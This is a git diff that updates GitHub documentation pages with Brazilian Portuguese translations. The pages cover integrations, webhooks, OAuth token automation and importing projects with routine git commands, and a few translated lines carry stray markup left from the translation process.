+- "[Autorizar {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
+- "[Autorizar {% data variables.product.prodname_github_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)"
+- "[Revisar integrações autorizadas](/articles/reviewing-your-authorized-integrations/)"
 
-You can create a {% data variables.product.prodname_github_app %} with simplified configuration if you build your app with Probot. For more information, see the [Probot docs](https://probot.github.io/docs/) site.
+Será possível instalar um {% data variables.product.prodname_github_app %} pré-configurado se os integradores ou criadores de app tiverem criado o respectivo app com o fluxo de manifesto do {% data variables.product.prodname_github_app %}. Para obter informações sobre como executar o {% data variables.product.prodname_github_app %} com configuração automatizada, entre em contato com o integrador ou criador do app.
 
-## Discovering integrations in {% data variables.product.prodname_marketplace %}
+Você poderá criar um {% data variables.product.prodname_github_app %} com configuração simplificada se usar o Probot. Para obter mais informações, consulte o site de [documentos do Probot](https://probot.github.io/docs/).
 
-You can find an integration to install or publish your own integration in {% data variables.product.prodname_marketplace %}.
+## Descobrir integrações no {% data variables.product.prodname_marketplace %}
 
-[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) contains {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}. For more information on finding an integration or creating your own integration, see "[About {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace)."
+É possível encontrar uma integração para instalar ou publicar a sua própria integração no {% data variables.product.prodname_marketplace %}.
 
-## Integrations purchased directly from integrators
+[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) contém {% data variables.product.prodname_github_apps %} e {% data variables.product.prodname_oauth_apps %}. Para obter mais informações sobre como encontrar uma integração ou criar sua própria integração, consulte "[Sobre o {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace)".
 
-You can also purchase some integrations directly from integrators. As an organization member, if you find a {% data variables.product.prodname_github_app %} that you'd like to use, you can request that an organization approve and install the app for the organization.
+## Integrações compradas diretamente de integradores
 
-If you have admin permissions for all organization-owned repositories the app is installed on, you can install {% data variables.product.prodname_github_apps %} with repository-level permissions without having to ask an organization owner to approve the app. When an integrator changes an app's permissions, if the permissions are for a repository only, organization owners and people with admin permissions to a repository with that app installed can review and accept the new permissions.
+Você também pode comprar algumas integrações diretamente de integradores. Como um integrante da organização, ao encontrar um {% data variables.product.prodname_github_app %} que queira usar, você poderá solicitar que uma organização aprove e instale o app para a organização.
+
+Se você tiver permissões de administrador para todos os repositórios de organizações em que o app está instalado, você poderá instalar {% data variables.product.prodname_github_apps %} com permissões de nível de repositório sem ter que solicitar que o proprietário da organização aprove o aplicativo. Quando um integrador altera as permissões do app, se as permissões forem apenas para um repositório, os proprietários da organização e as pessoas com permissões de administrador para um repositório com esse app instalado poderão revisar e aceitar as novas permissões.
diff --git a/translations/pt-BR/content/github/extending-github/about-webhooks.md b/translations/pt-BR/content/github/extending-github/about-webhooks.md
index 3ebe391ec7..60bf37ba9f 100644
--- a/translations/pt-BR/content/github/extending-github/about-webhooks.md
+++ b/translations/pt-BR/content/github/extending-github/about-webhooks.md
@@ -1,11 +1,11 @@
 ---
-title: About webhooks
+title: Sobre webhooks
 redirect_from:
   - /post-receive-hooks
   - /articles/post-receive-hooks
   - /articles/creating-webhooks
   - /articles/about-webhooks
-intro: Webhooks provide a way for notifications to be delivered to an external web server whenever certain actions occur on a repository or organization.
+intro: Webhooks permitem que notificações sejam entregues a um servidor web externo sempre que determinadas ações ocorrem em um repositório ou uma organização.
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,17 +15,17 @@ versions:
 
 {% tip %}
 
-**Tip:** {% data reusables.organizations.owners-and-admins-can %} manage webhooks for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**Dica:** {% data reusables.organizations.owners-and-admins-can %} gerenciar webhooks para uma organização. {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-Webhooks can be triggered whenever a variety of actions are performed on a repository or an organization. For example, you can configure a webhook to execute whenever:
+Os webhooks podem ser acionados sempre que uma variedade de ações for executada em um repositório ou uma organização. Por exemplo, você pode configurar um webhook para ser executado sempre que:
 
-* A repository is pushed to
-* A pull request is opened
-* A {% data variables.product.prodname_pages %} site is built
-* A new member is added to a team
+* É feito push de um repositório
+* Uma pull request é aberta
+* Um site do {% data variables.product.prodname_pages %} é construído
+* Um novo integrante é adicionado a uma equipe
 
-Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you can make these webhooks update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server.
+Ao usar a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, você pode fazer esses webhooks atualizarem um rastreador de problemas externo, acionar compilações de CI, atualizar um espelho de backup, ou até mesmo fazer a implantação no seu servidor de produção.
 
-To set up a new webhook, you'll need access to an external server and familiarity with the technical procedures involved. For help on building a webhook, including a full list of actions you can associate with, see "[Webhooks](/webhooks)."
+Para configurar um novo webhook, você deverá acessar um servidor externo e ter familiaridade com os procedimentos técnicos envolvidos. Para obter ajuda sobre como criar um webhook, incluindo uma lista completa de ações que podem ser associadas a ele, consulte "[Webhooks](/webhooks)."
diff --git a/translations/pt-BR/content/github/extending-github/getting-started-with-the-api.md b/translations/pt-BR/content/github/extending-github/getting-started-with-the-api.md
index 3f1a0f8ad3..b0d497ea9d 100644
--- a/translations/pt-BR/content/github/extending-github/getting-started-with-the-api.md
+++ b/translations/pt-BR/content/github/extending-github/getting-started-with-the-api.md
@@ -1,5 +1,5 @@
 ---
-title: Getting started with the API
+title: Introdução à API
 redirect_from:
   - /articles/getting-started-with-the-api
 versions:
@@ -7,14 +7,17 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Get started API
+shortTitle: Primeiros passos com a API
 ---
 
-To automate common tasks, back up your data, or create integrations that extend {% data variables.product.product_name %}, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
+Para automatizar as tarefas comuns, fazer backup de seus dados ou criar integrações que estendem {% data variables.product.product_name %}, você pode usar a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.
 
-For more information about the API, see the [GitHub REST API](/rest) and [GitHub GraphQL API]({% ifversion ghec %}/free-pro-team@latest/{% endif %}/graphql). You can also stay current with API-related news by following the [{% data variables.product.prodname_dotcom %} Developer blog](https://developer.github.com/changes/).
+Para obter mais informações sobre a API, consulte a [API REST do GitHub](/rest) e [API do GraphQL do GitHub]({% ifversion ghec %}/free-pro-team@latest/{% endif %}/graphql). Também é possível atualizar-se sobre as notícias relacionadas a APIs seguindo o blog do desenvolvedor</a>
+{% data variables.product.prodname_dotcom %}.</p> 
 
-## Further reading
 
-- "[Backing up a repository](/articles/backing-up-a-repository)"{% ifversion fpt or ghec %}
-- "[About integrations](/articles/about-integrations)"{% endif %}
+
+## Leia mais
+
+- "[Backup de um repositório](/articles/backing-up-a-repository)"{% ifversion fpt or ghec %}
+- "[Sobre integrações](/articles/about-integrations)"{% endif %}
diff --git a/translations/pt-BR/content/github/extending-github/git-automation-with-oauth-tokens.md b/translations/pt-BR/content/github/extending-github/git-automation-with-oauth-tokens.md
index e22725a212..1c818c4da0 100644
--- a/translations/pt-BR/content/github/extending-github/git-automation-with-oauth-tokens.md
+++ b/translations/pt-BR/content/github/extending-github/git-automation-with-oauth-tokens.md
@@ -1,48 +1,48 @@
 ---
-title: Git automation with OAuth tokens
+title: Automação Git com tokens OAuth
 redirect_from:
   - /articles/git-over-https-using-oauth-token
   - /articles/git-over-http-using-oauth-token
   - /articles/git-automation-with-oauth-tokens
-intro: 'You can use OAuth tokens to interact with {% data variables.product.product_name %} via automated scripts.'
+intro: 'Você pode usar tokens OAuth para interagir com {% data variables.product.product_name %} por meio de scripts automatizados.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Automate with OAuth tokens
+shortTitle: Automatizar com tokens OAuth
 ---
 
-## Step 1: Get an OAuth token
+## Etapa 1: Obtenha um token OAuth
 
-Create a personal access token on your application settings page. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Crie um token de acesso pessoal na página de configurações do seu aplicativo. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
 
 {% tip %}
 
 {% ifversion fpt or ghec %}
-**Tips:**
-- You must verify your email address before you can create a personal access token. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+**Dicas:**
+- Você deve verificar seu endereço de e-mail antes de criar um token de acesso pessoal. Para obter mais informações, consulte "[Verificar o endereço de e-mail](/articles/verifying-your-email-address)".
 - {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% else %}
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**Dica:** {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% endif %}
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-## Step 2: Clone a repository
+## Etapa 2: Clone um repositório
 
 {% data reusables.command_line.providing-token-as-password %}
 
-To avoid these prompts, you can use Git password caching. For information, see "[Caching your GitHub credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+Para evitar esses alertas, você pode usar o cache de senhas do Git. Para obter informações, consulte "[Armazenar suas credenciais no GitHub no Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)".
 
 {% warning %}
 
-**Warning**: Tokens have read/write access and should be treated like passwords. If you enter your token into the clone URL when cloning or adding a remote, Git writes it to your _.git/config_ file in plain text, which is a security risk.
+**Aviso**: os tokens possuem accesso de leitura e gravação e devem ser tratados como senhas. Se você informar seu token na URL clone ao clonar ou adicionar um remote, o Git irá gravá-lo em seu arquivo _.git/config_ como texto simples, o que representa um risco de segurança.
 
 {% endwarning %}
 
-## Further reading
+## Leia mais
 
-- "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps)"
+- "[Autorizando aplicativos OAuth](/developers/apps/authorizing-oauth-apps)"
diff --git a/translations/pt-BR/content/github/extending-github/index.md b/translations/pt-BR/content/github/extending-github/index.md
index 79a03ace00..be8d6b2a90 100644
--- a/translations/pt-BR/content/github/extending-github/index.md
+++ b/translations/pt-BR/content/github/extending-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Extending GitHub
+title: Extensões do GitHub
 redirect_from:
   - /categories/86/articles
   - /categories/automation
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
index 575a38144d..d388534711 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Adding an existing project to GitHub using the command line
-intro: 'Putting your existing work on {% data variables.product.product_name %} can let you share and collaborate in lots of great ways.'
+title: Adicionar um projeto existente ao GitHub usando a linha de comando
+intro: 'Colocar um trabalho que já existe no {% data variables.product.product_name %} pode permitir que você compartilhe e colabore de muitas maneiras.'
 redirect_from:
   - /articles/add-an-existing-project-to-github
   - /articles/adding-an-existing-project-to-github-using-the-command-line
@@ -10,74 +10,72 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Add a project locally
+shortTitle: Adicionar um projeto localmente
 ---
 
-## About adding existing projects to {% data variables.product.product_name %}
+## Sobre a adição de projetos existentes para {% data variables.product.product_name %}
 
 {% tip %}
 
-**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*.
+**Dica:** se estiver mais familiarizado com uma interface de usuário de apontar e clicar, tente adicionar seu projeto com o {% data variables.product.prodname_desktop %}. Para obter mais informações, consulte "[Adicionar um repositório do seu computador local ao GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" na Ajuda do *{% data variables.product.prodname_desktop %}*.
 
 {% endtip %}
 
 {% data reusables.repositories.sensitive-info-warning %}
 
-## Adding a project to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %}
+## Adicionando um projeto a {% data variables.product.product_name %} com {% data variables.product.prodname_cli %}
 
-{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+{% data variables.product.prodname_cli %} é uma ferramenta de código aberto para usar {% data variables.product.prodname_dotcom %} a partir da linha de comando do seu computador. {% data variables.product.prodname_cli %} pode simplificar o processo de adicionar um projeto existente a {% data variables.product.product_name %} usando a linha de comando. Para saber mais sobre {% data variables.product.prodname_cli %}, consulte "[Sobre {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
 
-1. In the command line, navigate to the root directory of your project.
-1. Initialize the local directory as a Git repository.
+1. Na linha de comando, acesse o diretório raiz do seu projeto.
+1. Inicialize o diretório local como um repositório Git.
 
     ```shell
     git init -b main
     ```
 
-1. Stage and commit all the files in your project 
+1. Faça o teste e commit de todos os arquivos do seu projeto
 
    ```shell
    git add . && git commit -m "initial commit"
    ```
 
-1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`.
- 
-1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch.
+1. Para criar um repositório para o seu projeto no GitHub, use o subcomando `gh repo create`. Quando solicitado, selecione **Fazer push de um repositório local existente para o GitHub** e digite o nome desejado para o repositório. Se você quiser que o seu projeto pertença a uma organização em vez de sua conta de usuário, especifique o nome da organização e o nome do projeto com `organization-name/project-name`.
 
-1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
+1. Siga as instruções interativas. Para adicionar o controle remoto e fazer push do repositório, confirme sim quando solicitado para adicionar o controle remoto e enviar os commits para o branch atual.
 
-## Adding a project to {% data variables.product.product_name %} without {% data variables.product.prodname_cli %}
+1. Como alternativa, para pular todas as instruções, fornecer o caminho do repositório com o sinalizador `--source` e passar um sinalizador de visibilidade (`--public`, `--privado` ou `--interno`). Por exemplo, `gh repo create --source=. --public`. Especifique um controle remoto com o o sinalizador `--remote`. Para fazer push dos seus commits, passe o sinalizador `--push`. Para obter mais informações sobre possíveis argumentos, consulte o [manual da CLI do GitHub](https://cli.github.com/manual/gh_repo_create).
+
+## Adicionando um projeto a {% data variables.product.product_name %} sem {% data variables.product.prodname_cli %}
 
 {% mac %}
 
-1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. [Crie um repositório ](/repositories/creating-and-managing-repositories/creating-a-new-repository) no {% data variables.product.product_location %}. Para evitar erros, não inicialize o novo repositório com os arquivos *README*, de licença ou `gitignore`. É possível adicionar esses arquivos após push do projeto no {% data variables.product.product_name %}. ![Menu suspenso Create New Repository (Criar novo repositório)](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. Altere o diretório de trabalho atual referente ao seu projeto local.
+4. Inicialize o diretório local como um repositório Git.
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. Adicione os arquivos ao novo repositório local. Isso faz stage deles para o primeiro commit.
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # Adiciona os arquivos no repositório local e faz stage deles para commit. {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. Faça commit dos arquivos com stage em seu repositório local.
   ```shell
   $ git commit -m "First commit"
   # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. Na parte superior do seu repositório na página de Configuração Rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, clique em {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar a URL do repositório remoto. ![Campo Copy remote repository URL (Copiar URL do repositório remote)](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. No Terminal, [adicione a URL para o repositório remote](/github/getting-started-with-github/managing-remote-repositories) onde será feito push do seu repositório local.
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
   # Sets the new remote
   $ git remote -v
   # Verifies the new remote URL
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) (Faça push das alterações</0> no seu repositório local para o {% data variables.product.product_location %}.
   ```shell
   $ git push -u origin main
   # Pushes the changes in your local repository up to the remote repository you specified as the origin
@@ -87,34 +85,32 @@ shortTitle: Add a project locally
 
 {% windows %}
 
-1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. [Crie um repositório ](/articles/creating-a-new-repository) no {% data variables.product.product_location %}. Para evitar erros, não inicialize o novo repositório com os arquivos *README*, de licença ou `gitignore`. É possível adicionar esses arquivos após push do projeto no {% data variables.product.product_name %}. ![Menu suspenso Create New Repository (Criar novo repositório)](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. Altere o diretório de trabalho atual referente ao seu projeto local.
+4. Inicialize o diretório local como um repositório Git.
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. Adicione os arquivos ao novo repositório local. Isso faz stage deles para o primeiro commit.
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # Adiciona os arquivos no repositório local e faz stage deles para commit. {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. Faça commit dos arquivos com stage em seu repositório local.
   ```shell
   $ git commit -m "First commit"
   # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. Na parte superior do seu repositório na página de Configuração Rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, clique em {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar a URL do repositório remoto. ![Campo Copy remote repository URL (Copiar URL do repositório remote)](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. No prompt de comando, [adicione a URL para o repositório remote](/github/getting-started-with-github/managing-remote-repositories) onde será feito push do seu repositório local.
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
   # Sets the new remote
   $ git remote -v
   # Verifies the new remote URL
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) (Faça push das alterações</0> no seu repositório local para o {% data variables.product.product_location %}.
   ```shell
   $ git push origin main
   # Pushes the changes in your local repository up to the remote repository you specified as the origin
@@ -124,34 +120,32 @@ shortTitle: Add a project locally
 
 {% linux %}
 
-1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. [Crie um repositório ](/articles/creating-a-new-repository) no {% data variables.product.product_location %}. Para evitar erros, não inicialize o novo repositório com os arquivos *README*, de licença ou `gitignore`. É possível adicionar esses arquivos após push do projeto no {% data variables.product.product_name %}. ![Menu suspenso Create New Repository (Criar novo repositório)](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. Altere o diretório de trabalho atual referente ao seu projeto local.
+4. Inicialize o diretório local como um repositório Git.
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. Adicione os arquivos ao novo repositório local. Isso faz stage deles para o primeiro commit.
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # Adiciona os arquivos no repositório local e faz stage deles para commit. {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. Faça commit dos arquivos com stage em seu repositório local.
   ```shell
   $ git commit -m "First commit"
   # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. Na parte superior do seu repositório na página de Configuração Rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, clique em {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar a URL do repositório remoto. ![Campo Copy remote repository URL (Copiar URL do repositório remote)](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. No Terminal, [adicione a URL para o repositório remote](/github/getting-started-with-github/managing-remote-repositories) onde será feito push do seu repositório local.
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
   # Sets the new remote
   $ git remote -v
   # Verifies the new remote URL
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) (Faça push das alterações</0> no seu repositório local para o {% data variables.product.product_location %}.
   ```shell
   $ git push origin main
   # Pushes the changes in your local repository up to the remote repository you specified as the origin
@@ -159,6 +153,6 @@ shortTitle: Add a project locally
 
 {% endlinux %}
 
-## Further reading
+## Leia mais
 
-- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)"
+- "[Adicionar um arquivo a um repositório](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)"
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
index f453e9e87e..1982830ff7 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Importing a Git repository using the command line
-intro: '{% ifversion fpt %}If [GitHub Importer](/articles/importing-a-repository-with-github-importer) is not suitable for your purposes, such as if your existing code is hosted on a private network, then we recommend importing using the command line.{% else %}Importing Git projects using the command line is suitable when your existing code is hosted on a private network.{% endif %}'
+title: Importar um repositório Git usando a linha de comando
+intro: '{% ifversion fpt %}Se [Importador do GitHub](/articles/importing-a-repository-with-github-importer) não for adequado para os seus propósitos como se o seu código existente estivesse hospedado em uma rede privada, recomendamos realizar a importação usando a linha de comando.{% else %}Importar projetos do Git usando a linha de comando é adequado quando seu código existente está hospedado em uma rede privada.{% endif %}'
 redirect_from:
   - /articles/importing-a-git-repository-using-the-command-line
   - /github/importing-your-projects-to-github/importing-a-git-repository-using-the-command-line
@@ -9,37 +9,38 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Import repo locally
+shortTitle: Importar o repositório localmente
 ---
-Before you start, make sure you know:
 
-- Your {% data variables.product.product_name %} username
-- The clone URL for the external repository, such as `https://external-host.com/user/repo.git` or `git://external-host.com/user/repo.git` (perhaps with a `user@` in front of the `external-host.com` domain name)
+Antes de iniciar, certifique-se de que sabe:
+
+- Seu nome de usuário {% data variables.product.product_name %}
+- A URL clone para o repositório externo, como `https://external-host.com/user/repo.git` ou `git://external-host.com/user/repo.git` (talvez com um `usuário@` na frente do nome do domínio `external-host.com`)
 
 {% tip %}
 
-For purposes of demonstration, we'll use:
+Como demonstração, usaremos:
 
-- An external account named **extuser**
-- An external Git host named `https://external-host.com`
-- A {% data variables.product.product_name %} personal user account named **ghuser**
-- A repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} named **repo.git**
+- Uma conta externa denominada **extuser**
+- Um host Git externo denominado `https://external-host.com`
+- Uma conta de usuário {% data variables.product.product_name %} pessoal denominada **ghuser**
+- Um repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} chamado **repo.git**
 
 {% endtip %}
 
-1. [Create a new repository on {% data variables.product.product_name %}](/articles/creating-a-new-repository). You'll import your external Git repository to this new repository.
-2. On the command line, make a "bare" clone of the repository using the external clone URL. This creates a full copy of the data, but without a working directory for editing files, and ensures a clean, fresh export of all the old data.
+1. [Crie um novo repositório em {% data variables.product.product_name %}](/articles/creating-a-new-repository). Você importará o repositório Git externo para este novo repositório.
+2. Na linha de comando, faça um clone "vazio" do repositório usando a URL clone externo. Isso criará uma cópia integral dos dados, mas sem um diretório de trabalho para editar arquivos, e garantirá uma exportação limpa e recente de todos os dados antigos.
   ```shell
   $ git clone --bare https://external-host.com/<em>extuser</em>/<em>repo.git</em>
   # Makes a bare clone of the external repository in a local directory
   ```
-3. Push the locally cloned repository to {% data variables.product.product_name %} using the "mirror" option, which ensures that all references, such as branches and tags, are copied to the imported repository.
+3. Faça o push do repositório clonado localmente em {% data variables.product.product_name %} usando a opção "mirror" (espelho), que assegura que todas as referências, como branches e tags, são copiadas para o repositório importado.
   ```shell
   $ cd <em>repo.git</em>
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>ghuser</em>/<em>repo.git</em>
   # Pushes the mirror to the new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}
   ```
-4. Remove the temporary local repository.
+4. Remova o repositório local temporário.
   ```shell
   $ cd ..
   $ rm -rf <em>repo.git</em>
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
index a559e7393b..f2d2dfeed1 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
@@ -1,6 +1,6 @@
 ---
-title: Importing a repository with GitHub Importer
-intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.'
+title: Importar um repositório usando o Importador do GitHub
+intro: 'Caso tenha um projeto hospedado em outro sistema de controle de versão, é possível importá-lo automaticamente para o GitHub usando a ferramenta Importador do GitHub.'
 redirect_from:
   - /articles/importing-from-other-version-control-systems-to-github
   - /articles/importing-a-repository-with-github-importer
@@ -8,37 +8,30 @@ redirect_from:
 versions:
